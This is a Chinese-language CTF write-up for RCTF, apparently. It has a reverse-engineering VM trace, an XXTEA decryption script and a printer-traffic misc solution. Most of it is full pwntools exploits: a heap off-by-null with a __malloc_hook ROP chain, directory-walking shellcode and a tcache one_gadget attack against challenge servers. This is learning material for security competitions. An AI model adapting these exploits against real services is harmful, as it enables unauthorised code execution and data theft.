xor r0, r1
mov r1, r0
mov r0, 0xc
if r0<128:
r[r0] = r1
mov r1, 0xd
if r1<128:
r0 = r[r1]
if r2<128:
r[r2] = r3
xor r0, r1
mov r1, r0
mov r0, 0xd
if r0<128:
r[r0] = r1
mov r0, 0x7
mov r1, 0x0
if r0<128:
r[r0] = r1
mov r1, 0xd
if r1<128:
r0 = r[r1]
mov r1, r0
mov r0, 0x3
if r0<128:
r[r0] = r1
mov r0, 0x1
mov r1, r0
mov r0, 0x2
if r0<128:
r[r0] = r1
mov r1, 0x7
if r1<128:
r0 = r[r1]
if r2<128:
r[r2] = r3
below r0, r1
mov r1, 0x9f6
cmp r0, 0
je r1
mov r1, 0x6
if r1<128:
r0 = r[r1]
mov r1, r0
mov r0, 0x3
if r0<128:
r[r0] = r1
mov r0, 0x1
mov r1, r0
mov r0, 0x2
if r0<128:
r[r0] = r1
mov r1, 0x7
if r1<128:
r0 = r[r1]
if r2<128:
r[r2] = r3
add r0, r1
mov r1, r0
mov r0, 0x10
if r0<128:
r[r0] = r1
mov r1, 0x7
if r1<128:
r0 = r[r1]
mov r1, r0
mov r0, 0x3
if r0<128:
r[r0] = r1
mov r0, 0x1
mov r1, r0
mov r0, 0x2
if r0<128:
r[r0] = r1
mov r1, 0xe
if r1<128:
r0 = r[r1]
if r2<128:
r[r2] = r3
nop
mov r1, r0
mov r0, 0x11
if r0<128:
r[r0] = r1
mov r1, 0x10
if r1<128:
r0 = r[r1]
mov r1, r0
mov r0, 0x3
if r0<128:
r[r0] = r1
mov r0, 0x1
mov r1, r0
mov r0, 0x2
if r0<128:
r[r0] = r1
mov r1, 0x11
if r1<128:
r0 = r[r1]
if r2<128:
r[r2] = r3
xor r0, r1
mov r1, r0
mov r0, 0x4
if r0<128:
r[r0] = r1
mov r1, 0x7
if r1<128:
r0 = r[r1]
mov r1, r0
mov r0, 0x3
if r0<128:
r[r0] = r1
mov r0, 0x1
mov r1, r0
mov r0, 0x2
if r0<128:
r[r0] = r1
mov r1, 0xe
if r1<128:
r0 = r[r1]
if r2<128:
r[r2] = r3
nop
mov r1, 0x7
if r1<128:
r0 = r[r1]
mov r1, 0x1
add r0, r1
mov r1, r0
mov r0, 0x7
if r0<128:
r[r0] = r1
mov r0, 0x4e0
mov ip, r0
mov r1, 0xb
if r1<128:
r0 = r[r1]
mov r1, r0
mov r0, 0x4
if r0<128:
r[r0] = r1
mov r1, 0xf
if r1<128:
r0 = r[r1]
mov r1, 0x0
nop
mov r1, 0xc
if r1<128:
r0 = r[r1]
mov r1, r0
mov r0, 0x4
if r0<128:
r[r0] = r1
mov r1, 0xf
if r1<128:
r0 = r[r1]
mov r1, 0x1
nop
mov r1, 0xd
if r1<128:
r0 = r[r1]
mov r1, r0
mov r0, 0x4
if r0<128:
r[r0] = r1
mov r1, 0xf
if r1<128:
r0 = r[r1]
mov r1, 0x2
nop
mov r1, 0xe
if r1<128:
r0 = r[r1]
mov r1, r0
mov r0, 0x4
if r0<128:
r[r0] = r1
mov r1, 0xf
if r1<128:
r0 = r[r1]
mov r1, 0x3
nop

关键在前面有个乘法和对比,猜一下应该是输入后面再接一个二进制数,此数*7后等于0xf423f,即0x22e09 = 0b100010111000001001。测试一下是按照大端序的,即是100100000111010001,接在之前的512位后面就是最后的输入了。

flag画在一张图事实上。

13yR01sw3iy1l1n9

sourceguardian

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include<pch.h>
#include<iostream>

using namespace std;
#define MX ((z>>5^y<<2) + (y>>3^z<<4) ^ (sum^y) + (k[p&3^e]^z))

long btea(long* v, long n, long* k) {
unsigned long z = v[n - 1], y = v[0], sum = 0, e, DELTA = 0x9e3779b9;
long p, q;
if (n > 1) { /* Coding Part */
q = 6 + 52 / n;
while (q-- > 0) {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) y = v[p + 1], z = v[p] += MX;
y = v[0];
z = v[n - 1] += MX;
}
return 0;
}
else if (n < -1) { /* Decoding Part */
n = -n;
q = 6 + 52 / n;
sum = q * DELTA;
while (sum != 0) {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) z = v[p - 1], y = v[p] -= MX;
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
}
return 0;
}
return 1;
}

int main()
{
long cipher[] = { 1029560848, 2323109303, 4208702724, 3423862500, 3597800709, 2222997091, 4137082249, 2050017171, 4045896598 ,0};
long key[] = { 1752186684, 1600069744, 1953259880, 1836016479 };
long k[] = { 1752186684, 1600069744, 1953259880, 1836016479 };
int i = 0;
for (i = 0; i < 9; i++)
{
cipher[i] ^= key[i % 4];
}
btea(cipher, -9, key);
cout << (char*)cipher << endl;
}

PWN

babyheap

存在offbynull 构造overlap利用calloc在chunk位为2时不清空的特性进行leak然后控制malloc_hook利用一个使得rax为栈地址的gadgets分配栈从而得到可以执行open read write函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
context.log_level = "debug"

p = process("./babyheap")
elf = ELF("./babyheap")
libc = elf.libc
gdb.attach(p)
cmd = lambda c:p.sendlineafter("Choice: \n" ,str(c))
def add(size):
cmd(1)
p.sendlineafter("Size: " , str(size))

def edit(index , content):
cmd(2)
p.sendlineafter("Index: " , str(index))
p.sendafter("Content: " , content)

def delete(index):
cmd(3)
p.sendlineafter("Index: " , str(index))

def show(index):
cmd(4)
p.sendlineafter("Index: " , str(index))

add(0x18) # 0 # 0x00
add(0x320) # 1 # 0x20
add(0x18) # 2 # 0x340
add(0x18) # 3 # 0x360

edit(1 , "a" * 0x2f0 + p64(0x300))
delete(1)
edit(0 , "a" * 0x18)

add(0x18) # 1
add(0x80) # unsorted bin leak # 4
add(0x18) # 5
add(0x60) # fastbin attack # 6

delete(1)
delete(2)
add(0x348) # shrin result calloc # 1
# memset
payload = "a" * 0x18
payload += p64(0x91) + "a" * 0x80
payload += p64(0x90) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x71) + "a" * 0x60
payload += p64(0x60) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x21) + "a" * 0x10

print(hex(len(payload)))
edit(1 , payload)
delete(6)

payload = "a" * 0x18
payload += p64(0x91) + "a" * 0x80
payload += p64(0x90) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x72)[:7]
edit(1 , payload)
add(0x60)
show(2)
libc.address = u64(p.recvuntil("\x7f").ljust(8 , "\x00")) - 0x58 - 0x3c4b20
print(hex(libc.address))
malloc_hook = libc.sym["__malloc_hook"] - 0x23
print hex(malloc_hook)
payload = "a" * 0x18
payload += p64(0x91) + "a" * 0x80
payload += p64(0x90) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x71) + "a" * 0x60
payload += p64(0x60) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x21) + "a" * 0x10
edit(1,payload)
delete(2)
#------------------
fast_max = libc.address + 3958776
payload = "a" * 0x18
payload += p64(0x91) + "a" * 0x80
payload += p64(0x90) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x71)
payload += p64(libc.address+0x58+0x3c4b20)+p64(fast_max-0x10)+"a"*0x50
payload += p64(0x60) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x21) + "a" * 0x10

edit(1,payload)
add(0x60)
payload = "a" * 0x18
payload += p64(0x91) + "a" * 0x80
payload += p64(0x90) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x71) + "a" * 0x60
payload += p64(0x60) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x21) + "a" * 0x10
edit(1,payload)
delete(2)
payload = "a" * 0x18
payload += p64(0x91) + "a" * 0x80
payload += p64(0x90) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x71)
payload += p64(malloc_hook)
edit(1,payload)
raw_input()
add(0x60) #2
add(0x60)
edit(6,'flag'.ljust(19,'\0')+p64(libc.address+0xAA383))
leng=0x28
add(leng)
libca=libc.address
reada=p64(0xF7250+libca)
writea=p64(0xF72B0+libca)
edit(7,p64(0x200)+p64(libca+0x1b92)+p64(0x200)+reada)
opena=p64(libca+0xF7030)
exita=p64(libca+0x3A030)
p_rdi_r=p64(libca+0x21102)
p_rsi_r=p64(libca+0x1150CA)
p_rdx_r=p64(libca+0x1b92)
m_rdi_rax_r=p64(libca+0x8F42B)
payload='8'*0x20+p_rdi_r+p64(malloc_hook+0x10)+p_rdi_r+p64(malloc_hook+0x10)+p_rsi_r+p64(0)+opena+p_rdi_r+p64(3)+p_rsi_r+p64(malloc_hook)+p_rdx_r+p64(0x28)+reada+p_rdi_r+p64(1)+writea+exita
#pause()
p.send(payload)
p.interactive()
#rctf{15172bc66a5f317986cb8293597e033c}

shellcoder

前面7字节shellcoder利用xhcg即可绕过,然后利用递归遍历目录寻找,大概4096种可能,每层4个文件夹,有6层。好在命名规则,都是4个字符长度的,然后用cat的shellcode获取flag即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import*
context.arch = "amd64"
#context.log_level = "debug"


def ls():
return asm("""

push 0x2e
mov al, 2
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

mov rdi,rax
xor rdx,rdx
xor rax,rax
mov dx, 0x3210
sub rsp, rdx
mov rsi, rsp
mov al, 78
syscall

xchg rax,rdx

xor rax, rax
xor rdi,rdi

inc eax
inc edi
mov rsi, rsp
syscall


xor rax, rax
mov al, 60
syscall
""")
def show(s):
x = 0
for i in range(len(s)):
x = x*16*16+ord(s[len(s)-1-i])
return x
def cd(s):
st = "mov rax, "+hex(show(s))
return asm(st)+asm("""
push rax
xor rax,rax
mov rdi, rsp
mov al, 80
syscall
""")

dic = 'qwertyuiopasdfghjklzxcvbnm0987654321'
def Get(s):
for i in range(len(s)):
if (s[i] not in dic): return False
return True

def find(lt):
#p=process('./shellcoder')
p = remote('139.180.215.222',20002)
p.readuntil('hello shellcoder:')

payload = asm("""
xchg rdi,rsi
mov edx,esi
syscall
""")

#gdb.attach(p)
p.send(payload)

payload = '\x90'*8 + cd('/flag')
for i in range(len(lt)):
payload += cd(lt[i])

payload += ls()

p.sendline(payload)

tot = p.recv()
ans = []
for i in range(len(tot)-5):
s = tot[i:i+4]
if (not Get(s)): continue
if (s[0] == '.' and s[1] == '.'): continue
if (s == 'flag'):
print('***************\n')
print(lt)
print('***************\n')
pause()
if (s[0] == '.'): break
ans.append(s)
p.close()
return ans

def dg(lt): #递归
tmp = find(lt)
print lt
if (len(tmp) == 0): return
for i in range(len(tmp)):
lt.append(tmp[i])
dg(lt)
lt.pop()

ans = []
dg(ans)

先cd然后cat flag即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def cat():
return asm("""

mov rax,0x67616c66
push rax
xor rax, rax
mov al, 2
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

xchg rax, r12

.LOOP:
mov rdi, r12
xor rax, rax
xor rdx, rdx
inc edx
mov rsi, rsp
syscall

test rax, rax
jz .END

xor rdi, rdi
inc rdi
syscall

jmp short .LOOP
.END:

xor rax,rax
mov al, 60
syscall
""")


rctf{1h48iegin3egh8dc5ihu}

many_notes

可以利用printf leak地址
申请堆块去控制tache然后利用tache指针完成malloc_hook写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

def dup(size,times,data=0):
io.sendlineafter("Choice:",'0')
io.sendlineafter("Size:",str(size))
io.sendlineafter("Padding:",str(times))
if data==0:
io.sendlineafter("Input? (0/1):",'0')
else:
io.sendlineafter("Input? (0/1):",'1')


#context.log_level='debug'
#io=process("./many_notes",env={"LD_LIBRARY_PATH":"./"})
#gdb.attach(io)
io = remote("123.206.174.203",20003)
io.sendafter("name",'a'*8)
io.recvuntil('a'*8)
libc=u64(io.recvline()[:-1].ljust(8,'\0'))-0x3ab720
print hex(libc)
for i in range(0x17):
print i
dup(8192,1023)
dup(8192,0x3f0-0x23)
dup(0x1000,0,data=1)
sleep(0.1)
io.send('a'*0xf00)
sleep(0.1)
io.send('a'*0x100+p64(0x1eeee1)*2)
dup(0x2000-0xee0-0x50+0x930,0)
dup(0x500,0)
dup(0x70,0)
dup(0x70,0,data=1)
sleep(0.1)
#io.send((p64(0x3fff000)*2+p64(0x300000000)+p64(0)*10+p64(libc+0x3aabed-1)).ljust(0x70,'\0'))
io.send((p64(libc+0x3AAC08)*8).ljust(0x70,'\0'))
dup(176,0,data=1)
sleep(0.1)
one=libc+0x40eda
io.send((p64(one)+p64(libc+0x80C49)).ljust(176,'\0'))
print hex(one)
print "just add any new heap to get shell"

io.interactive()
RCTF{House_of_0range_in_Thread}

Misc

Printer

提取流量数据包

https://drive.google.com/open?id=19rfKbGNgGSSwEodW43kLsRv8mAnMpEEM

打印机厂商 NXP Semiconductors POS打印机**img**

打印python包**https://blog.csdn.net/fashionxu/article/details/9000761**

ECP/POS指令集

**https://www.jianshu.com/p/dd6ca0054298**

这个手册感觉好像能用:

**https://www.servopack.de/support/tsc/TSPL_TSPL2_Programming.pdf**

这个repo好像可以打印:

**https://github.com/timhawes/python-escpos**

关键数据:674 和675两行

Misc快出了,是个bitmap 数据包no.675

感觉重点在bar部分,像是打印了个二维码(划掉)

img

BAR 348, 439, 2, 96

BAR 292, 535, 56, 2

BAR 300, 495, 48, 2

BAR 260, 447, 2, 88

BAR 204, 447, 56, 2

BAR 176, 447, 2, 96

BAR 116, 455, 2, 82

BAR 120, 479, 56, 2

BAR 44, 535, 48, 2

BAR 92, 455, 2, 80

BAR 20, 455, 72, 2

BAR 21, 455, 2, 40

BAR 21, 495, 24, 2

BAR 45, 479, 2, 16

BAR 36, 479, 16, 2

BAR 284, 391, 40, 2

BAR 324, 343, 2, 48

BAR 324, 287, 2, 32

BAR 276, 287, 48, 2

BAR 52, 311, 48, 2

BAR 284, 239, 48, 2

BAR 308, 183, 2, 56

BAR 148, 239, 48, 2

BAR 196, 191, 2, 48

BAR 148, 191, 48, 2

BAR 68, 191, 48, 2

BAR 76, 151, 40, 2

BAR 76, 119, 2, 32

BAR 76, 55, 2, 32

BAR 76, 55, 48, 2

BAR 112, 535, 64, 2

BAR 320, 343, 16, 2

BAR 320, 319, 16, 2

BAR 336, 319, 2, 24

BAR 56, 120, 24, 2

BAR 56, 87, 24, 2

BAR 56, 88, 2, 32

BAR 224, 247, 32, 2

BAR 256, 215, 2, 32

BAR 224, 215, 32, 2

BAR 224, 184, 2, 32

BAR 224, 191, 32, 2

BAR 272, 311, 2, 56

BAR 216, 367, 56, 2

BAR 216, 319, 2, 48

BAR 240, 318, 2, 49

BAR 184, 351, 2, 16

BAR 168, 351, 16, 2

BAR 168, 311, 2, 40

BAR 152, 351, 16, 2

BAR 152, 351, 2, 16

bar打印出来的flag:

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from PIL import Image, ImageDraw

Img = Image.open("1.png") #这是一个全白的图片**

draw = ImageDraw.Draw(Img)

points = [(348, 439, 2, 96),(292, 535, 56, 2),(300, 495, 48, 2),(260, 447, 2, 88),(204, 447, 56, 2),(176, 447, 2, 96),(116, 455, 2, 82),(120, 479, 56, 2),(44, 535, 48, 2),(92, 455, 2, 80),(20, 455, 72, 2),(21, 455, 2, 40),(21, 495, 24, 2),(45, 479, 2, 16),(36, 479, 16, 2),(284, 391, 40, 2),(324, 343, 2, 48),(324, 287, 2, 32),(276, 287, 48, 2),(52, 311, 48, 2),(284, 239, 48, 2),(308, 183, 2, 56),(148, 239, 48, 2),(196, 191, 2, 48),(148, 191, 48, 2),(68, 191, 48, 2),(76, 151, 40, 2),(76, 119, 2, 32),(76, 55, 2, 32),(76, 55, 48, 2),(112, 535, 64, 2),(320, 343, 16, 2),(320, 319, 16, 2),(336, 319, 2, 24),(56, 120, 24, 2),(56, 87, 24, 2),(56, 88, 2, 32),(224, 247, 32, 2),(256, 215, 2, 32),(224, 215, 32, 2),(224, 184, 2, 32),(224, 191, 32, 2),(272, 311, 2, 56),(216, 367, 56, 2),(216, 319, 2, 48),(240, 318, 2, 49),(184, 351, 2, 16),(168, 351, 16, 2),(168, 311, 2, 40),(152, 351, 16, 2),(152, 351, 2, 16)]**

for pt in points:
x1,y1,a,b = pt
print x1,y1,a,b
x2,y2 = x1+a,y1+b
draw.rectangle((x1,y1,x2,y2), fill=(0,0,0))
Img.show()

flag{my_tsc_}提交错误

说明还有一半flag

http://shaobaobaoer.cn/archives/690/usb-data-packet-analyze

利用这篇文章,提取出USB数据

1
tshark -r Printer.pcapng -T fields -e usb.capdata > usbdata.data

image.png

发现这里有一些奇怪的数据

image.png

而这里的数据26*48刚好等于2496*4,这里一个字母占4bit,于是想到可能是像素点,

image.png

脚本如下

1
2
3
4
5
from PIL import Image,ImageDraw
a='ffffffffffffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffffffffc3ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffe3fffe1ffffffffff807c03c603fc07c07e0007f7ff01f8067ff007ff803fc07c03fff1ff1f04f8ff1ff1fff1fff3ffcff1f27fc7f1ff3e1ff1ff9ffff1ff1fc1fcff8ff1fff1fff3ffefe3f87f8ff9feff8ff1ff9ffff8ff1fc3fc7fcff1fff1fff1ffefc7fc7f9ff8fdffc7f1ff9ffff8ff1fc7fe3fc7f1fff1fff1ffefcffe7f1ff8f9ffc3f1ff9ffffc7f1fc7fe3fe3f1fff1fff0ffef8ffe7f1ff0fbffe3f1ff9ffffc7f1fc7fe3fe3f1fff1fff0ffef8ffe7e1ff8f3ffe3f1ff9ffffe3f1fc7fe3ff1f1fff1fff47fef8ffe7e3ff9f7ffe1f1ff9ffffe3f1fc7ff3ff8e1fff1fff47fef9ffe7e3ffffffff1f1ff9fffff1f1fc7ff3ff8c1fff1fff63fef9ffe7f1ffffffff1f1ff9fffff1f1fc7ff3ffc11fff1fff63fef9ffe7f1ffffffff1f1ff9fffff1f1fc7fe3ffe31fff1fff71fef9ffe7f1ffffffff1f1ff9fffff8f1fc7fe3ffe71fff1fff71fef8ffe7f8ffffffff0f1ff9fffff8f1fc7fe3ffcf1fff1fff78fef8ffe7fcffffffff0f1ff9fffffc61fc7fe7ff9f1fff1fff78fef8ffc7fe3fffffff0f1ff9fffffc41fc7fc7ff3f1fff1fff7c7efcffc7ff83ffffff0f9ff1fffffe11fc3f8fff7f1fff1fff7c7efc7fa7ff87ffffff0f9fe9fffffe31fc1f1ffe7f1fff1fff7e3efe3e67fe3fffffff1f8f99ffffff31fc403fe01f1fff1fff7e3eff80e0fc7fffffff1fc039fffffe71fc79ffffff1fff1fff7f1efff3eff8ffffffff1ff0f9fffffef1fc7fffffff1fff1fff7f0efffffff8ffffffff1ffff9fffffcf1fc7fffffff1fff1fff7f8efffffff8fffffffe1ffff9fffff9f1fc7fffffff1fff1fff7f86fffffff8ff9f7ffe3ffff9fffffbf1fc7fffffff1fff1fff7fc6fffffff8ff0f3ffe3ffff9fffff7f1fc7fffffff1fff1fff7fc2fffffff8ff8fbffc7ffff9ffffe7f1fc7fffffff1fff1fff7fe2fffffff8ff8f9ffc7ffff9ffffcff1fc7fffffff1fff1fff7ff0fffffffcff9f9ff8fffff9ffff8ff1fc7fffffff1fff1fff7ff0fffffffc7f9f8ff1fffff9ffff0ff0fc3fffffff1fff0ffe7ff8fffffffe1e7f83e3fffff8fffc03c03c0fffffff03e000780ff83fffffff80fff80ffffff83ffffffffdffffffff3ffffffffffffffffffffffffffffffffbffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'.decode('hex')

im=Image.frombytes("1",(26*8,48),a)
im.show()

image.png

flag: flag{my_tsc_hc3pnikdk}

draw

logo语言 在线运行

**https://www.calormen.com/jslogo/**

image.png

Welcome

image.png